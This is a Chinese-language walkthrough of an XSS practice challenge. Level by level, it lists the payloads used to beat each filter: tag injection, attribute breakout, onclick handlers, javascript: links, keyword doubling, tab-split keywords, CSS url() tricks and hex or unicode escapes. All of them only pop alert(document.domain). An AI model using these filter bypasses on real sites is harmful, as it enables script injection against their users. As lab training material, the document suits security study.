xss Challenge 题解
第一关
<script>alert(document.domain)</script>
第二关
用第一关的代码试了下,看源码发现直接赋值到value上,所以可以对value括号闭合
"><script>alert(document.domain)</script>
第三关
多了个选择框,前面一个输入框怎么输都没用,打开burp抓包,发现2个参数,对p2进行注入
p1=1&p2=<script>alert(document.domain)</script>
第四关
抓包,发现多了个参数p3,而且为隐藏的,p3的值是直接赋给value的
所以可以对p3进行闭包注入
p3="><script>alert(document.domain)</script>
第五关
看了下源码,发现maxlength,直接F12修改999,并且由于赋值给value ,所以闭包注入
"><script>alert(document.domain)</script>
第六关
闭包注入的括号被html实体编码
使用另一种注入方式
" onclick=alert(document.domain)
再点击下输入框就行了。
ps:domain) 括号后面还有个空格,不然点击无效
第七关
双引号无法闭包了,输入 "" asd 后发现
得嘞,不影响,
" onclick=alert(document.domain)
照常,成功
第八关
a链接
javascript:alert(document.domain)
第九关
emm,,不会,直接开挂过去
F12 在input里新加个οnclick=alert(document.domain),再点下输入框过去
第十关
输入
" onclick=alert(document.domain)
发现
domain被过滤了,
改大写,
" onclick=alert(document.doMain)
还是没用
继续
" onclick=alert(document.domdomainain)
或者
"><script>alert(document.domdomainain)</script>
有用。
第十一关
script,onclick,style都不能用
想了挺久,看网上说可以通过某些空格来达到效果
对onclick随便试了个,F12看到没有对他进行html解码,可能是因为在input标签内把
换成闭包用a标签,就可以
"><a href="javascr	ipt:alert(document.domain);">12</a>
这里我查了些内容 制表位	
、换行

和回车
这三个放进去是有效果的,但是空格的 还有 虽说能解码成空格,但是打开链接就是404了
顺便看了下Unicode
第十二关
过滤了<>"还有空格
闭合input标签里的value不可能了,onclick等以及a标签都不能用了
用双引号的html实体编码没用,不能闭合,
就是双引号和单引号有点意思,然并卵
看网上说ie浏览器上``可以被识别为",开启win7去试试
应该是我ie的锅,,算了跳过
1``	onclick=alert(document.domain)	
这是还没验证的,,
第十三关
background:url(javascript:alert(document.domain))
第十四关
跳过正则匹配
background:u	rl(javas	cript:alert(document.domain))
十三十四关对ie内核版本有要求,,
跳过
第十五关
<>"被编码了
\没有,可以\\来越过
我一开始想的是对script里的write进行闭合操作再写自己想要的js代码,找到"的unicode 十进制为34 ,就是\x22,然后发现输进去不解码。只能看输出那儿了。
\\x3cscript\\x3ealert(document.domain);\\x3c/script\\x3e
\x3c <的unicode
\x3e >的unicode
第十六关
十六进制被过滤 了
用十进制
\u003c <
\u003e >
第十七、十八关都是老版本ie,就没做了